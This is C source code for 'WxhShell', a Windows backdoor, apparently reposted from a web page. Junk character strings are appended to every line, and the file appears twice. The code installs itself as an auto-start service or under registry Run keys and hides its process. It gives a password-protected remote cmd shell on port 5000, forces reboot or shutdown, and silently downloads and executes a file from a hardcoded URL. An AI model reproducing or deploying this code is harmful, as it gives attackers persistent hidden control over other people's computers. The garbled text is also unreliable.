    send(wsh,msg_ws_err,strlen(msg_ws_err),0); R]0`-_T  
    else { FW{K[km^P  
    closesocket(wsh); vb}c)w dp?  
    ExitThread(0); dEW= V"W  
    } mmy/YP)  
    break; v7%}ey[  
    } J|<C;[du>  
  // 获取shell Np/vPaAk  
  case 's': { U=5~]0g  
    CmdShell(wsh); OU!."r`9  
    closesocket(wsh); -"?~By}<C  
    ExitThread(0); l+X\>,  
    break; d ,.=9  
  } ]EG8+K6  
  // 退出 A8Km8"  
  case 'x': { 4vCUVo r  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); .}:*tvot  
    CloseIt(wsh); 4t>"-/  
    break; k$pND,Ws  
    } Tr;.O?@{t}  
  // 离开 <`wOy [e  
  case 'q': { @a,=ApS"  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); G2-0r.f  
    closesocket(wsh); m!=5Q S3Z  
    WSACleanup(); e>bARK<  
    exit(1); ~ H/ZiBL@  
    break; =YD<q:n4  
        } ukRmjHbLf  
  } Mc$rsqDz  
  } E[4 vUnm-  
L!,@_   
  // 提示信息 =d]}7PO ~  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ( GoPXh  
} Gl[1K/,*  
  } XL'\$f  
yB 'C9wEH  
  return; +wQ}ZP&  
} 2b-g`60<  
u6| IKZ  
// shell模块句柄 VE}r'MBk  
int CmdShell(SOCKET sock) q- 0q:  
{ dczSW ]%  
STARTUPINFO si; ]Tg@wMgI  
ZeroMemory(&si,sizeof(si)); 2 )3oX  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ,t:P  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; Ge7B%p8  
PROCESS_INFORMATION ProcessInfo; W1Ye+vg/s  
char cmdline[]="cmd"; =E^/gc%X  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); I5`>XfO)  
  return 0; Wh~,?}laj  
} 5)5yH bS  
8si{|*;hL  
// 自身启动模式 yrl7  
int StartFromService(void) WNKg>$M  
{ B<n[yiJ}  
typedef struct 7S=,#  
{ TQ0ZBhd  
  DWORD ExitStatus; Sw5:T  
  DWORD PebBaseAddress; 5HE5$S  
  DWORD AffinityMask; =6'bGC%c  
  DWORD BasePriority; P ?n k>  
  ULONG UniqueProcessId; {TdxsE>  
  ULONG InheritedFromUniqueProcessId; 1LAd5X  
}   PROCESS_BASIC_INFORMATION; "fUNrhCx  
xq=!1>  
PROCNTQSIP NtQueryInformationProcess; aAG']y  
RDjw|V  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; pZ3sp!  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; T<NOL fk66  
#f/4%|t:  
  HANDLE             hProcess; 99CK [G  
  PROCESS_BASIC_INFORMATION pbi; sLXM$SMBh  
F w t  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); c\&;Xr  
  if(NULL == hInst ) return 0; \sfc!5G  
'>n&3`r5  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); *c&OAL]  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); LZ.Xcy  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); A1`6+8}o;b  
lNtxM"G&  
  if (!NtQueryInformationProcess) return 0; 1i_%1Oip  
\okv}x^L=Z  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); a|.IAxJ  
  if(!hProcess) return 0; Q"GM3?  
@^  *62  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; X%kJ3{  
sUK|*y  
  CloseHandle(hProcess); |]k,0Y3v  
uXLZ!LJo  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); %e3E}m>  
if(hProcess==NULL) return 0; V0W4M%  
V\opC6*L_e  
HMODULE hMod; !$>b}w'  
char procName[255]; 9!Jt}n?!g  
unsigned long cbNeeded; PHY!yc-LjV  
DT)] [V^w  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 8{ =ha  
~(huUW  
  CloseHandle(hProcess); lSO$Q]!9  
YRr,{[e  
if(strstr(procName,"services")) return 1; // 以服务启动 'mTY56Yq  
\ym^~ Q|  
  return 0; // 注册表启动 2N]8@a  
} -3azA7tzz  
WVK AA.  
// 主模块 23`salLclG  
int StartWxhshell(LPSTR lpCmdLine) r<Cr)%z!  
{ j(]O$""  
  SOCKET wsl; `wU['{=  
BOOL val=TRUE; w/rJj*  
  int port=0; Y4swMN8Bq  
  struct sockaddr_in door; }Nwp{["}]L  
%7w8M{I R3  
  if(wscfg.ws_autoins) Install(); vw(ecs^C  
0Q?%B6g$m[  
port=atoi(lpCmdLine); *" C9F/R  
+`>E_+Mp  
if(port<=0) port=wscfg.ws_port; s/s&d pT*  
Xw<;)m  
  WSADATA data; &=$f\O1Ty  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; Dj'?12Onu=  
A9u>bWIE7  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   m)"(S  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); / x$JY\cq`  
  door.sin_family = AF_INET; 6 w{_+=T  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); fjl 9*  
  door.sin_port = htons(port); LL)t)  
q5-i=lw  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { wvxz:~M  
closesocket(wsl); 9p3~WA/M@  
return 1; g1"Z pD  
} |YyNqwP`,  
un -h%-e |  
  if(listen(wsl,2) == INVALID_SOCKET) { Ql l{;A  
closesocket(wsl); 5(hv|t/a  
return 1; v1X[/\;U  
} S.1>bs2  
  Wxhshell(wsl); Ol+D"k~<C  
  WSACleanup(); ]?wz.  
hfyU}`]  
return 0; !K}W.yv,  
`BG>%#  
} %O"Whe  
,+6u6  
// 以NT服务方式启动 ruB D ^-  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) g<M!]0OK  
{ a`#lYM%(>  
DWORD   status = 0; `XK\', }F  
  DWORD   specificError = 0xfffffff; l 'wu-  
nqUnDnP2c  
  serviceStatus.dwServiceType     = SERVICE_WIN32; -.8K"j{N  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; |pWu|M _'  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; t&q~ya/C  
  serviceStatus.dwWin32ExitCode     = 0; Lw_|o[I}  
  serviceStatus.dwServiceSpecificExitCode = 0; nK?S2/o#A  
  serviceStatus.dwCheckPoint       = 0; C~@m6K  
  serviceStatus.dwWaitHint       = 0; K/f-9hE F  
5|K[WvG@Co  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); "G.X=, V  
  if (hServiceStatusHandle==0) return; 3Wv^{|^  
n5.sx|bI?  
status = GetLastError(); xsJXf @  
  if (status!=NO_ERROR) 6vE#$(n#a&  
{ DwGM+)!  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; 0:u:#))1  
    serviceStatus.dwCheckPoint       = 0; Bl8|`R^g  
    serviceStatus.dwWaitHint       = 0; :H m'o}  
    serviceStatus.dwWin32ExitCode     = status; JJ_ Z{  
    serviceStatus.dwServiceSpecificExitCode = specificError; ~S;-sxoO0l  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); Q>Z~={"  
    return; g H'hA'  
  } Xy=ETV%  
3x+=7Mg9  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; 2sk7E'2(  
  serviceStatus.dwCheckPoint       = 0; ``:[Jr &  
  serviceStatus.dwWaitHint       = 0; uyB2   
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); TaHcvjhR  
} LDHu10l  
\ f+;X  
// 处理NT服务事件,比如:启动、停止 5=|h~/.k  
VOID WINAPI NTServiceHandler(DWORD fdwControl) A-=hvJ5T  
{ Xnjl {`  
switch(fdwControl) [w@S/K[_|  
{ GU2TQx{V  
case SERVICE_CONTROL_STOP: MQN~I^v3  
  serviceStatus.dwWin32ExitCode = 0; J@_^]  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; _",(!(  
  serviceStatus.dwCheckPoint   = 0; }s<;YC  
  serviceStatus.dwWaitHint     = 0; NFEr ,n  
  { *Ic^9njt  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); UhS:tT]7  
  } $o5i15Oy.  
  return; l:UKU!  
case SERVICE_CONTROL_PAUSE: 0{bl^#$f  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; Er~KX3vF  
  break; 0q-lyVZ^X  
case SERVICE_CONTROL_CONTINUE: 7>O`UT<t4@  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; 8uLS7\,$z  
  break; o)@nnqa  
case SERVICE_CONTROL_INTERROGATE: kG!hqj  
  break; xlwf @XW  
}; T:{r*zLSN  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); [(#)9/3,  
} # M/n\em"X  
Wd)\r.pJ  
// 标准应用程序主函数 $Uy+]9  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) ^?""'1iuQx  
{ U{oM*[  
X5J)1rL  
// 获取操作系统版本 ?i#x13  
OsIsNt=GetOsVer(); U~7udUR  
GetModuleFileName(NULL,ExeFile,MAX_PATH); k@|px#kq  
 AkS16A  
  // 从命令行安装 L f"!:]  
  if(strpbrk(lpCmdLine,"iI")) Install(); ! Ea!"}  
Tt~[hC h  
  // 下载执行文件 SIrNZ^I  
if(wscfg.ws_downexe) { Fd<Ouyxqe  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) mL`8COA  
  WinExec(wscfg.ws_filenam,SW_HIDE); ,IboPh&Q78  
} |LQ%sV  
]j/= x2p  
if(!OsIsNt) { *,lDo9  
// 如果时win9x,隐藏进程并且设置为注册表启动 ?|W3RK;  
HideProc(); Bt@?l]Y  
StartWxhshell(lpCmdLine); zc)nDyn  
} _p0Yhju?  
else Evm3Sm!S  
  if(StartFromService()) [=jZP,b&),  
  // 以服务方式启动 q%kCTw  
  StartServiceCtrlDispatcher(DispatchTable);  eu$VKLY*  
else 9 CZ@IFS  
  // 普通方式启动 #1'q'f:7 &  
  StartWxhshell(lpCmdLine); +CBN[/Z^i  
%+j/nA1%S  
return 0; SQf[1}$ .  
}  d6tLC Q  
#`|Nm3b  
g*oX`K.  
ig.Z,R3@r  
=========================================== v; #y^O  
v\?J=|S+  
~v2(sRJ  
7MrHu2rZ=  
EEZ~Bs}d  
"]]LQb$  
" i&6U5Va,G  
M]{~T7n-  
#include <stdio.h> #*CMf.OCh  
#include <string.h> iU 6,B  
#include <windows.h> sd%)g<t  
#include <winsock2.h> 7"'PfP4c  
#include <winsvc.h> oZY|o0/9  
#include <urlmon.h> )GG9[%H!  
]FVJQS2h  
#pragma comment (lib, "Ws2_32.lib") ;AOLbmb)H4  
#pragma comment (lib, "urlmon.lib") VZcW 3/Y  
cb)7$S  
#define MAX_USER   100 // 最大客户端连接数 I[K4/91  
#define BUF_SOCK   200 // sock buffer :B5*?x  
#define KEY_BUFF   255 // 输入 buffer w"[T  
X5.9~  
#define REBOOT     0   // 重启 t6+W  
#define SHUTDOWN   1   // 关机 *Xk5H,:  
6}R*7iM s  
#define DEF_PORT   5000 // 监听端口 D )`(b  
6ZHeAb]"  
#define REG_LEN     16   // 注册表键长度 L)U*dY   
#define SVC_LEN     80   // NT服务名长度 _p:n\9k  
(kY  0<  
// 从dll定义API dcmf~+T  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 9rz$c, Y(  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); $-UVN0=  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); /YZMP'v  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); Yu" Q  
%D#&RS  
// wxhshell配置信息 fTR6]i;  
struct WSCFG { e6_8f*o|s  
  int ws_port;         // 监听端口 s/hWhaS<  
  char ws_passstr[REG_LEN]; // 口令 Zx{Sxv"  
  int ws_autoins;       // 安装标记, 1=yes 0=no HM)D/CO,?  
  char ws_regname[REG_LEN]; // 注册表键名 |k}L=oWE  
  char ws_svcname[REG_LEN]; // 服务名 T8g\_m  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 |LC"1 k  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 Q.Nw#r+m  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 VS ECD;u4c  
int ws_downexe;       // 下载执行标记, 1=yes 0=no :t`W&z41  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" 9jf9 u0  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 ?q4`&";{3  
C@ q#s  
}; `qmwAT  
;0m J4G  
// default Wxhshell configuration {G vGV  
struct WSCFG wscfg={DEF_PORT, xa'U_]m  
    "xuhuanlingzhe", j~\FDcG*ed  
    1, \i,H1a  
    "Wxhshell", ]8}2  
    "Wxhshell", LvS5N)[  
            "WxhShell Service", ;0kAm Vy  
    "Wrsky Windows CmdShell Service", QChWy`x  
    "Please Input Your Password: ", +pT;; 9  
  1, %Bm{ctf#)  
  "http://www.wrsky.com/wxhshell.exe", T2]8w1l&K  
  "Wxhshell.exe" 5|eX@?QF58  
    }; z6M5 '$\y  
6<\dQ+~  
// 消息定义模块 p#4*:rpq4  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; .4E24FB[f?  
char *msg_ws_prompt="\n\r? for help\n\r#>"; }*9F`=%F  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; 5s^vC2$)  
char *msg_ws_ext="\n\rExit."; B0yGr\KJ  
char *msg_ws_end="\n\rQuit."; 1&e8vVN  
char *msg_ws_boot="\n\rReboot..."; -eV*I >G  
char *msg_ws_poff="\n\rShutdown..."; ~DxuLk6 s  
char *msg_ws_down="\n\rSave to "; WLU_t65  
<75x@!  
char *msg_ws_err="\n\rErr!"; d!<>Fh^6,  
char *msg_ws_ok="\n\rOK!"; & ;5f/  
YY tVp_)  
char ExeFile[MAX_PATH]; GNmP_N  
int nUser = 0; J| &aqY  
HANDLE handles[MAX_USER]; AX{<d@z`j  
int OsIsNt; qOpwl*?x+  
n)a/pO_  
SERVICE_STATUS       serviceStatus; xG edY*[`  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; /J-.K*xKt  
|QbCFihn  
// 函数声明 #gWok'ZcR  
int Install(void); d <ES  
int Uninstall(void); c{D<+XM  
int DownloadFile(char *sURL, SOCKET wsh); lws.;abm%n  
int Boot(int flag); _]'kw [  
void HideProc(void); 1=+S'_j  
int GetOsVer(void); A6_ER&9$>N  
int Wxhshell(SOCKET wsl); VrT-6r'Y  
void TalkWithClient(void *cs); dQH8s  
int CmdShell(SOCKET sock); NA@Z$Gy  
int StartFromService(void); QrSO%Rm1*  
int StartWxhshell(LPSTR lpCmdLine); !7]^QdBLY  
2|exY>`w  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 23=wz%tF  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); jsV1~1:83  
&u"mFweS  
// 数据结构和表定义 Gz\wmH&rVz  
SERVICE_TABLE_ENTRY DispatchTable[] = h }&dvd  
{ #>CWee;  
{wscfg.ws_svcname, NTServiceMain}, Yqu/_6wLx  
{NULL, NULL} BB1_EdoG  
}; s&WE'  
qixnaiZ  
// 自我安装 V.Lk70 \  
int Install(void) +m}D.u*cp  
{ 6x!iL\Y~  
  char svExeFile[MAX_PATH]; 5``usn/&Kj  
  HKEY key; {}Afah  
  strcpy(svExeFile,ExeFile); xw~oR|`U  
Ttb?x<)+8  
// 如果是win9x系统,修改注册表设为自启动 :=quCzG  
if(!OsIsNt) { 8&x&Ou$("V  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { :W-xsw  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 54]UfmT%I  
  RegCloseKey(key); tC+1 1M  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { *gwo.s  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ^#h ;bX#  
  RegCloseKey(key); SrMfd7H8f  
  return 0; 33"!K>wC  
    } aNICSxDN  
  } 7/=r-  
} K[V#Pj9  
else { oC!z+<  
HXB & 6  
// 如果是NT以上系统,安装为系统服务 C2hB7?UGN  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); d<cQYI4V  
if (schSCManager!=0) ?%>S5,f_  
{ (f"LD8MJ/  
  SC_HANDLE schService = CreateService \%W"KLP  
  ( ( ~>-6Nb 5  
  schSCManager, N40DL_-  
  wscfg.ws_svcname, gHH[QLD=I  
  wscfg.ws_svcdisp, !|,djo!N  
  SERVICE_ALL_ACCESS, 9PR?'X;4  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 5G#2#Al(F  
  SERVICE_AUTO_START, 7X/B9Hee  
  SERVICE_ERROR_NORMAL, 0bQ"s*K  
  svExeFile, KW36nY\7  
  NULL, 9$R}GK  
  NULL, ^7`gf  
  NULL, hus9Zv4  
  NULL, Hq <!&  
  NULL l8DZ2cw]  
  ); R36A_  
  if (schService!=0) :u?L y[x  
  { gF|u%_y-qt  
  CloseServiceHandle(schService); baR*4{]  
  CloseServiceHandle(schSCManager); ?*f2P T?`  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 5W_Rg:J{P  
  strcat(svExeFile,wscfg.ws_svcname); \q|<\~A  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { {k<mN Y  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); > a8'MK  
  RegCloseKey(key); bqZ5GKUo  
  return 0; [_tBv" z  
    } mw${3j~&  
  } R6irL!akAd  
  CloseServiceHandle(schSCManager); HAcC& s8  
} g % 8@pjk  
} MF5o\-&dN  
j@jUuYuDgl  
return 1; #<R6!"TNoz  
} gCI{g. [I!  
h}GzQry1  
// 自我卸载 Up1e4mNL  
int Uninstall(void) /V>yF&p  
{ `+T"^{ Z  
  HKEY key; IKeO&]k  
AUm5$;o,/  
if(!OsIsNt) { |#O>DdKHT  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ALp|fZ\vp  
  RegDeleteValue(key,wscfg.ws_regname); K!|J/W  
  RegCloseKey(key); =D^R,Q  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { J+Zp<Wu-  
  RegDeleteValue(key,wscfg.ws_regname); z7O$o/E-*  
  RegCloseKey(key); s>e)\9c  
  return 0; m+dJ3   
  } 9.l*#A^  
} [Pz['q L3t  
} EpH\;25u  
else { z CFXQi  
FWQNO(  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); `z6I][Uf  
if (schSCManager!=0) bb`8YF+?'  
{ ;Z-%'5hKM  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); ,\ zx4 *  
  if (schService!=0) d01]5'f?o  
  { YyD0g9{  
  if(DeleteService(schService)!=0) { :sJQ r._L  
  CloseServiceHandle(schService); $36.*s m  
  CloseServiceHandle(schSCManager); P^m&oH5]EG  
  return 0; _G ^Cc}X  
  } 0hOps5c8=  
  CloseServiceHandle(schService); j4]y(AA  
  } Q;eY]l8  
  CloseServiceHandle(schSCManager); "|d# +C  
} bm-&H   
} %v<BE tq  
y3@5~4+  
return 1; /n8\^4{fP{  
} C\gKJW^]y@  
;^|:*  
// 从指定url下载文件 /zIUYY  
int DownloadFile(char *sURL, SOCKET wsh) OCbwV7q:  
{ C5EaP%s  
  HRESULT hr; #-bz$w#*  
char seps[]= "/"; |aS272'  
char *token; G57c 8}\4  
char *file; G9r~O#=gy  
char myURL[MAX_PATH]; d&t,^Hj  
char myFILE[MAX_PATH]; Fz@9 @  
$3^Cp_p6  
strcpy(myURL,sURL); MW|:'D`  
  token=strtok(myURL,seps); ~ qezr\$2  
  while(token!=NULL) CjUYwAy$k  
  { Yp;?Zq9  
    file=token; J42/S [Rt  
  token=strtok(NULL,seps); Apc!!*7  
  } `z<I<  
2 UPG8]  
GetCurrentDirectory(MAX_PATH,myFILE); \MB$Cwc  
strcat(myFILE, "\\"); RZqou|ki  
strcat(myFILE, file); b_a6|  
  send(wsh,myFILE,strlen(myFILE),0); ~r?VXO p"  
send(wsh,"...",3,0); }5lC8{wZ  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); p?'&P!  
  if(hr==S_OK) I@:"Qee  
return 0; -$cO0RSY  
else 5O"$'iL  
return 1; w7QYWf'  
#7p!xf^  
} oR'u&\mB  
^BhS*  
// 系统电源模块 }sW%i#CV  
int Boot(int flag) 5b;~&N4~  
{ |a>,FZv8e  
  HANDLE hToken; ;]^% 6B n  
  TOKEN_PRIVILEGES tkp; nXfd f-  
-Rbv#Y  
  if(OsIsNt) { *b\&R%6dR  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); z2[{3Kd*  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); K aNO&%qX  
    tkp.PrivilegeCount = 1; @k-iy-|3 )  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;  a S ,  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); "43F.!P  
if(flag==REBOOT) { CRPE:7,D  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 9i+`,r  
  return 0; >IJX=24Rc  
} ,#K{+1z:  
else { r>B|JPm  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) :?SD#Vvrh.  
  return 0; !TLJk]7uC  
} )F,z pGG  
  } %`}nP3  
  else { @IV,sz e  
if(flag==REBOOT) { qpV"ii  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) & 6nLnMF8x  
  return 0; nfksi``Vq  
} t {H{xd  
else { a6\`r^@  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) eD!mR3Ai@D  
  return 0; 1G )I|v9R  
} w/csLi.O  
} PP8627uP  
%F13*hOu  
return 1; 8T88  
} -lm)xpp1  
hRZYvZ3  
// win9x进程隐藏模块 8~y&"  \  
void HideProc(void) 1H \  
{ Tb\<e3Te_  
3? F~ H  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); u9N /9  
  if ( hKernel != NULL ) NiD_v  
  { 'zOB!QqA`v  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); HYl~)O>  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 4`Lr^q}M+  
    FreeLibrary(hKernel); _fS4a134R  
  } 2 ])e}& i  
Sm;@MI<@/  
return; 8^sh@j2L  
} 17-B'Gl!<%  
; *\xdg{d  
// 获取操作系统版本 2d&]V]:R*  
int GetOsVer(void) fNz(z\  
{ -^q;e]+J  
  OSVERSIONINFO winfo; gFl@A}  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); (C0Wty  
  GetVersionEx(&winfo); Z{x)v5yh2V  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) U7HfDDh  
  return 1; kLc@U~M  
  else R]3j6\  
  return 0; Yz#E0aTTA  
} d|>/eb.R  
`R!Q(rePx  
// 客户端句柄模块 nf1O8FwRb  
int Wxhshell(SOCKET wsl) wV-9T*QrM  
{ e8S4=W  
  SOCKET wsh; [:+f Y[4==  
  struct sockaddr_in client; TjHt:%7.  
  DWORD myID; MV]`[^xQ5  
C-XJe~  
  while(nUser<MAX_USER) 6q^\pJY%&7  
{ -kHJH><j  
  int nSize=sizeof(client); _=}.Sg5Q  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); g'cVsO)S  
  if(wsh==INVALID_SOCKET) return 1; aW9\h_$  
_r>kR7A\{  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); X 8):R- J  
if(handles[nUser]==0) kPoz&e_@  
  closesocket(wsh); I51I(QF=  
else *7b?.{  
  nUser++; nw(R=C  
  } vo(:g6$  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); *HB 32 =qD  
ZG-#YF.1  
  return 0; GL~ Wnt  
} -fp/3-  
5)A[NTNJx  
// 关闭 socket .5);W;`X  
void CloseIt(SOCKET wsh) q;*'V9#  
{ d"L(eI}G  
closesocket(wsh); (4?^X  
nUser--; e=3C*+lq\  
ExitThread(0); X ]W)D S  
} hV:++g  
"!CVm{7[  
// 客户端请求句柄 K+"3He  
void TalkWithClient(void *cs) HJBGxy w  
{ N3N~z1x0h  
gu:vf/  
  SOCKET wsh=(SOCKET)cs; F{^\vFp  
  char pwd[SVC_LEN]; Y`d@4*FN$  
  char cmd[KEY_BUFF]; |=07n K2  
char chr[1]; bR,Es~n  
int i,j; :{4C2qK>  
\;KSx3o  
  while (nUser < MAX_USER) { ug.|ag'R  
-}PE(c1%?q  
if(wscfg.ws_passstr) { +r7hc;+G  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); HB`'S7Q  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); L9XfR$7,z  
  //ZeroMemory(pwd,KEY_BUFF); N;,zPWa  
      i=0; R!yh0y}Z  
  while(i<SVC_LEN) { 2vU-9p {  
 P_'{|M<?  
  // 设置超时 -v-kFzu  
  fd_set FdRead; ![$`Ivro`  
  struct timeval TimeOut; [+QyKyhTO  
  FD_ZERO(&FdRead); QO0@Ax\b  
  FD_SET(wsh,&FdRead); <-fvYer  
  TimeOut.tv_sec=8; BMI`YGjY1  
  TimeOut.tv_usec=0; `e fiX^  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); %?, 7!|Ls  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); !#~KSO}zW2  
Uk*(C(  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); v_Df+  
  pwd=chr[0]; Z=Cw7E  
  if(chr[0]==0xd || chr[0]==0xa) { w>8kBQ?b  
  pwd=0; ` &bF@$((  
  break; kvuRT`/  
  } 6212*Z_Af  
  i++; X)6G :cD  
    } l0;u$  
]uF7HX7F  
  // 如果是非法用户,关闭 socket E_I-.o|  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); .dVV# H  
} g],]l'7H  
$STGH  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); cJbv,RV<  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); tQRbNY#}Z  
<Np Mv!g  
while(1) { ij#v_~g3  
i/I  
  ZeroMemory(cmd,KEY_BUFF); ]*'_a@h  
Lq ;~6  
      // 自动支持客户端 telnet标准   Nsq=1) <  
  j=0; U<;{_!]  
  while(j<KEY_BUFF) { bq) 1'beW  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); S7WHOr9XMV  
  cmd[j]=chr[0]; ^*4#ZvpG2  
  if(chr[0]==0xa || chr[0]==0xd) { 6" Lyv  
  cmd[j]=0; Q)BSngW+  
  break; bcjh3WP  
  } n1 GX` K  
  j++; Dt>tTU 6  
    } 65JG#^)KaX  
tu"-]^  
  // 下载文件 1*G&ZI  
  if(strstr(cmd,"http://")) { f0Q! lMv  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); U, 7  
  if(DownloadFile(cmd,wsh)) jnbR}a=fJ  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); >~Gy+-  
  else qo 7<g*kf~  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Mpyza%zj  
  } ("PZ!z1m1  
  else { aMGh$\Pg  
fa,:d8  
    switch(cmd[0]) { ,jeHL@>w[  
  74:( -vS  
  // 帮助 \m}a%/  
